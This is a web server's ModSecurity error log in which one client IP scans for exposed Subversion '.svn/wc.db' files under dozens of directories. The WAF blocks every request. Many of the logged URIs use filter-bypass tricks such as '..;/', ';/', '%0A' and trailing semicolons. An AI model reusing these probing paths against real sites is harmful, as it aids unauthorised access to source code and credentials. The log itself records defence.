[Tue Dec 02 18:22:59.650348 2025] [:error] [pid 3649:tid 3730] [client 213.21.239.4:42890] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/demo/.svn/wc.db"] [unique_id "aS6-A7wjL4uqC6YFjxF68wAAAJM"]
[Tue Dec 02 18:22:59.650367 2025] [:error] [pid 5273:tid 5318] [client 213.21.239.4:43000] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/admin/.svn/wc.db"] [unique_id "aS6-AyMmXO5H1kNwHHUpcgAAAZA"]
[Tue Dec 02 18:22:59.650573 2025] [:error] [pid 5273:tid 5323] [client 213.21.239.4:42838] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/beta/.svn/wc.db"] [unique_id "aS6-AyMmXO5H1kNwHHUpcwAAAZU"]
[Tue Dec 02 18:22:59.652184 2025] [:error] [pid 3647:tid 3654] [client 213.21.239.4:43044] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/database/.svn/wc.db"] [unique_id "aS6-A1JaqGDFgh_0XI-F-gAAAAE"]
[Tue Dec 02 18:22:59.653653 2025] [:error] [pid 5273:tid 5321] [client 213.21.239.4:43020] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/blog/wp-content/themes/.svn/wc.db"] [unique_id "aS6-AyMmXO5H1kNwHHUpdAAAAZM"]
[Tue Dec 02 18:22:59.654038 2025] [:error] [pid 3647:tid 3661] [client 213.21.239.4:42962] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/content../.svn/wc.db"] [unique_id "aS6-A1JaqGDFgh_0XI-F-wAAAAg"]
[Tue Dec 02 18:22:59.655034 2025] [:error] [pid 48650:tid 48679] [client 213.21.239.4:42980] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/api/.svn/wc.db"] [unique_id "aS6-A4QuWSn3xrJsXblssAAAAdg"]
[Tue Dec 02 18:22:59.656617 2025] [:error] [pid 3760:tid 3775] [client 213.21.239.4:43030] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/a/.svn/wc.db"] [unique_id "aS6-A1jLYEjdWVcKgVVSXgAAAM0"]
[Tue Dec 02 18:22:59.657329 2025] [:error] [pid 3648:tid 3693] [client 213.21.239.4:42966] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/common/.svn/wc.db"] [unique_id "aS6-A-QEp5icp6XOJr3JHwAAAEk"]
[Tue Dec 02 18:22:59.658796 2025] [:error] [pid 3760:tid 3762] [client 213.21.239.4:42866] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/build/.svn/wc.db"] [unique_id "aS6-A1jLYEjdWVcKgVVSXwAAAMA"]
[Tue Dec 02 18:22:59.660668 2025] [:error] [pid 5272:tid 5289] [client 213.21.239.4:43086] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/css../.svn/wc.db"] [unique_id "aS6-A-wbFoRzPGfZYVRLCwAAAU4"]
[Tue Dec 02 18:22:59.661053 2025] [:error] [pid 3647:tid 3663] [client 213.21.239.4:42882] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.measureyourbrand.com.au"] [uri "/wc.db"] [unique_id "aS6-A1JaqGDFgh_0XI-F_AAAAAo"]
[Tue Dec 02 18:22:59.662036 2025] [:error] [pid 5232:tid 5251] [client 213.21.239.4:42990] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/dev/.svn/wc.db"] [unique_id "aS6-AwApmO-auDy1ob7cJAAAARE"]
[Tue Dec 02 18:22:59.662369 2025] [:error] [pid 48650:tid 48671] [client 213.21.239.4:42914] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.measureyourbrand.com.au"] [uri "/AWSconf.svn/wc.db"] [unique_id "aS6-A4QuWSn3xrJsXblssQAAAdA"]
[Tue Dec 02 18:22:59.663048 2025] [:error] [pid 5272:tid 5284] [client 213.21.239.4:43042] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/developer/.svn/wc.db"] [unique_id "aS6-A-wbFoRzPGfZYVRLDAAAAUk"]
[Tue Dec 02 18:23:02.816099 2025] [:error] [pid 5232:tid 5257] [client 213.21.239.4:45134] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand/.svn/%0Awc.db"] [unique_id "aS6-BgApmO-auDy1ob7cMQAAARc"]
[Tue Dec 02 18:23:02.839412 2025] [:error] [pid 3760:tid 3762] [client 213.21.239.4:45150] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand/wc.db"] [unique_id "aS6-BljLYEjdWVcKgVVSZQAAAMA"]
[Tue Dec 02 18:23:03.782363 2025] [:error] [pid 3649:tid 3712] [client 213.21.239.4:45202] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.svn/%0Awc.db"] [unique_id "aS6-B7wjL4uqC6YFjxF6_QAAAIE"]
[Tue Dec 02 18:23:03.785052 2025] [:error] [pid 48650:tid 48675] [client 213.21.239.4:45240] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand/..;/.svn/wc.db"] [unique_id "aS6-B4QuWSn3xrJsXblswwAAAdQ"]
[Tue Dec 02 18:23:03.787348 2025] [:error] [pid 48650:tid 48672] [client 213.21.239.4:45270] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand/.svn/wc.db;"] [unique_id "aS6-B4QuWSn3xrJsXblsxAAAAdE"]
[Tue Dec 02 18:23:03.788123 2025] [:error] [pid 48650:tid 48673] [client 213.21.239.4:45342] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/www.measureyourbrand.com.au/.svn/wc.db;"] [unique_id "aS6-B4QuWSn3xrJsXblsxQAAAdI"]
[Tue Dec 02 18:23:03.793869 2025] [:error] [pid 48650:tid 48661] [client 213.21.239.4:45166] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand/.svn;/wc.db"] [unique_id "aS6-B4QuWSn3xrJsXblsxgAAAcY"]
[Tue Dec 02 18:23:03.797330 2025] [:error] [pid 5273:tid 5324] [client 213.21.239.4:45302] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/flock/.svn/wc.db"] [unique_id "aS6-ByMmXO5H1kNwHHUpfQAAAZY"]
[Tue Dec 02 18:23:03.797797 2025] [:error] [pid 3648:tid 3703] [client 213.21.239.4:45218] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand/.svn/wc.db;.."] [unique_id "aS6-B-QEp5icp6XOJr3JLwAAAFM"]
[Tue Dec 02 18:23:03.799266 2025] [:error] [pid 3647:tid 3653] [client 213.21.239.4:45332] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/www.measureyourbrand.com.au/.svn/wc.db"] [unique_id "aS6-B1JaqGDFgh_0XI-GAAAAAAA"]
[Tue Dec 02 18:23:03.801047 2025] [:error] [pid 48650:tid 48657] [client 213.21.239.4:45172] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand/;/.svn/wc.db"] [unique_id "aS6-B4QuWSn3xrJsXblsyAAAAcI"]
[Tue Dec 02 18:23:03.803043 2025] [:error] [pid 3760:tid 3786] [client 213.21.239.4:45286] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/events../.svn/wc.db"] [unique_id "aS6-B1jLYEjdWVcKgVVSZgAAANg"]
[Tue Dec 02 18:23:03.803745 2025] [:error] [pid 3649:tid 3728] [client 213.21.239.4:45316] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/www.measureyourbrand.com.au../.svn/wc.db"] [unique_id "aS6-B7wjL4uqC6YFjxF6_gAAAJE"]
[Tue Dec 02 18:23:03.804133 2025] [:error] [pid 3648:tid 3697] [client 213.21.239.4:45188] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand/static../.svn/wc.db"] [unique_id "aS6-B-QEp5icp6XOJr3JMAAAAE0"]
[Tue Dec 02 18:23:03.804279 2025] [:error] [pid 3647:tid 3672] [client 213.21.239.4:45258] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.measureyourbrand.com.au"] [uri "/dot.svn/wc.db"] [unique_id "aS6-B1JaqGDFgh_0XI-GAQAAABM"]
[Tue Dec 02 18:23:03.810141 2025] [:error] [pid 3760:tid 3779] [client 213.21.239.4:45226] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand../.svn/wc.db"] [unique_id "aS6-B1jLYEjdWVcKgVVSZwAAANE"]
[Tue Dec 02 18:23:03.811454 2025] [:error] [pid 48650:tid 48669] [client 213.21.239.4:45312] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.measureyourbrand.com.au"] [uri "/www.measureyourbrand.com.au../wc.db"] [unique_id "aS6-B4QuWSn3xrJsXblsyQAAAc4"]
[Tue Dec 02 18:23:03.813281 2025] [:error] [pid 3649:tid 3724] [client 213.21.239.4:45254] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand/.svn/wc.db"] [unique_id "aS6-B7wjL4uqC6YFjxF7AAAAAI0"]
[Tue Dec 02 18:23:03.813287 2025] [:error] [pid 3649:tid 3726] [client 213.21.239.4:45248] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/www.measureyourbrand.com.au/.svn/%0Awc.db"] [unique_id "aS6-B7wjL4uqC6YFjxF6_wAAAI8"]
[Tue Dec 02 18:23:03.814761 2025] [:error] [pid 5273:tid 5312] [client 213.21.239.4:45356] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/www.measureyourbrand.com.au/static../.svn/wc.db"] [unique_id "aS6-ByMmXO5H1kNwHHUpgAAAAYo"]
[Tue Dec 02 18:23:03.817504 2025] [:error] [pid 48650:tid 48679] [client 213.21.239.4:45324] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/www.measureyourbrand.com.au/..;/.svn/wc.db"] [unique_id "aS6-B4QuWSn3xrJsXblsywAAAdg"]
[Tue Dec 02 18:23:03.818535 2025] [:error] [pid 48650:tid 48668] [client 213.21.239.4:45322] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.measureyourbrand.com.au"] [uri "/www.measureyourbrand.com.au/wc.db"] [unique_id "aS6-B4QuWSn3xrJsXblsygAAAc0"]
[Tue Dec 02 18:23:03.820707 2025] [:error] [pid 48650:tid 48656] [client 213.21.239.4:45344] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/www.measureyourbrand.com.au/.svn/wc.db;.."] [unique_id "aS6-B4QuWSn3xrJsXblszAAAAcE"]
[Tue Dec 02 18:23:03.823745 2025] [:error] [pid 5232:tid 5238] [client 213.21.239.4:45346] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.measureyourbrand.com.au"] [uri "/www.measureyourbrand.com.au/.svn;/wc.db"] [unique_id "aS6-BwApmO-auDy1ob7cNgAAAQQ"]
[Tue Dec 02 18:23:03.828400 2025] [:error] [pid 3760:tid 3774] [client 213.21.239.4:45348] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/www.measureyourbrand.com.au/;/.svn/wc.db"] [unique_id "aS6-B1jLYEjdWVcKgVVSaQAAAMw"]
[Tue Dec 02 18:23:06.818229 2025] [:error] [pid 5273:tid 5321] [client 213.21.239.4:45602] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/..;/.svn/wc.db"] [unique_id "aS6-CiMmXO5H1kNwHHUpkAAAAZM"]
[Tue Dec 02 18:23:06.827238 2025] [:error] [pid 3647:tid 3656] [client 213.21.239.4:45606] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.svn/wc.db"] [unique_id "aS6-ClJaqGDFgh_0XI-GBgAAAAM"]
[Tue Dec 02 18:23:07.780091 2025] [:error] [pid 48650:tid 48661] [client 213.21.239.4:45700] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.svn/wc.db;.."] [unique_id "aS6-C4QuWSn3xrJsXbls1gAAAcY"]
[Tue Dec 02 18:23:07.790435 2025] [:error] [pid 5273:tid 5310] [client 213.21.239.4:45856] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/m/.svn/wc.db"] [unique_id "aS6-CyMmXO5H1kNwHHUplAAAAYg"]
[Tue Dec 02 18:23:07.790762 2025] [:error] [pid 48650:tid 48669] [client 213.21.239.4:45768] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/;/.svn/wc.db"] [unique_id "aS6-C4QuWSn3xrJsXbls2QAAAc4"]
[Tue Dec 02 18:23:07.792363 2025] [:error] [pid 48650:tid 48657] [client 213.21.239.4:45732] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.measureyourbrand.com.au"] [uri "/.svn;/wc.db"] [unique_id "aS6-C4QuWSn3xrJsXbls2AAAAcI"]
[Tue Dec 02 18:23:07.792625 2025] [:error] [pid 48650:tid 48679] [client 213.21.239.4:45774] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/svn/.svn/wc.db"] [unique_id "aS6-C4QuWSn3xrJsXbls2gAAAdg"]
[Tue Dec 02 18:23:07.793874 2025] [:error] [pid 3648:tid 3699] [client 213.21.239.4:45792] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/images../.svn/wc.db"] [unique_id "aS6-C-QEp5icp6XOJr3JMgAAAE8"]
[Tue Dec 02 18:23:07.797971 2025] [:error] [pid 3648:tid 3692] [client 213.21.239.4:45828] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/__MACOSX/.svn/wc.db"] [unique_id "aS6-C-QEp5icp6XOJr3JNAAAAEg"]
[Tue Dec 02 18:23:07.801396 2025] [:error] [pid 3649:tid 3714] [client 213.21.239.4:45842] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/message-api/.svn/wc.db"] [unique_id "aS6-C7wjL4uqC6YFjxF7BAAAAIM"]
[Tue Dec 02 18:23:07.803783 2025] [:error] [pid 5232:tid 5239] [client 213.21.239.4:45778] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/js../.svn/wc.db"] [unique_id "aS6-CwApmO-auDy1ob7cRQAAAQU"]
[Tue Dec 02 18:23:07.805617 2025] [:error] [pid 3760:tid 3762] [client 213.21.239.4:46014] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.svn/wc.db;"] [unique_id "aS6-C1jLYEjdWVcKgVVSbgAAAMA"]
